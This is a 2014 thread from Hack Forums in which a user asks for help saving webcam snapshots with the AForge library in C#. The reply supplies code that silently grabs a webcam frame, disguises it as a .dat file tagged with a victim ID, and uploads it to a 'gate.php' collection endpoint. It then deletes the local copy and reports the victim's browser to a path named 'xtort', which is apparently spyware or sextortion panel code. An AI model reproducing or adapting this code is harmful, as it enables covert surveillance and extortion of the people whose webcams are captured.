

Forum: [Hack Forums](#)

Thread: [Creating snapshots from a webcam video using AForge Framework](#)

Nov - July 18, 2014, 3:45 pm

I am using the AForge framework to grab a snapshot of a video frame captured through a webcam.

I have written this method but it's not working:

```
Code public void GrabFrames(object sender, ref Bitmap bm)
{
    if (button1WasClicked)
    {
        Bitmap capturedImage = (Bitmap)bm.Clone();
        string strGrabFileName =
String.Format("C:\\Users\\Nov\\Documents\\CapturedVideo\\Snapshot_{0:yyyyMMdd_hhmmss.fff}.b
mp", DateTime.Now);
        capturedImage.Save(strGrabFileName, System.Drawing.Imaging.ImageFormat.Bmp);

    }

}
```

Anyone have any experience with AForge?

frapppp - July 20, 2014, 6:06 am

Check for a condition in which you'd like the application to grab a frame, and:

Code try

```
{
    WebcamColl = new FilterInfoCollection(FilterCategory.VideoInputDevice);
    Device = new VideoCaptureDevice(WebcamColl[0].MonikerString);
    Device.NewFrame += Device_NewFrame;
    Device.Start();
}
catch (Exception ex) { }
```

My frame handler. There'll be shit you don't need, just take it out:

Code static void Device_NewFrame(object sender, NewFrameEventArgs e)

```
{
    try
    {
        Bitmap Bmp = (Bitmap)e.Frame.Clone();
        string calcFilename = gHandler.getuID() +
Int64.Parse(DateTime.UtcNow.ToString("yyyymmddhhMMss"));
        string calcPath = Path.GetTempPath() + "/" + calcFilename + ".dat";
        Bmp.Save(calcPath, System.Drawing.Imaging.ImageFormat.Bmp);
        Device.SignalToStop();

        System.Net.WebClient Client = new System.Net.WebClient();
        Client.Headers.Add("Content-Type", "binary/octet-stream");
        byte[] result = Client.UploadFile("http://localhost/gate.php", "POST", calcPath);
        MessageBox.Show(System.Text.Encoding.UTF8.GetString(result, 0, result.Length));
    }
}
```

```
Client.Dispose();
```

```
File.Delete(calcPath);
```

```
gHandler.sendToGate("http://localhost/xtort/gate.php", bHandler.getBrowser(),  
gHandler.getuID(), calcFilename);  
}  
catch (Exception ex) { }  
}
```

Nov - July 21, 2014, 7:37 am

(Jul 20, 2014 06:06 AM)justHACK Wrote: [\[CITE\]](#) Check for a condition in which you'd like the application to grab a frame, and:

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Thanks bro. Going to try it out this evening.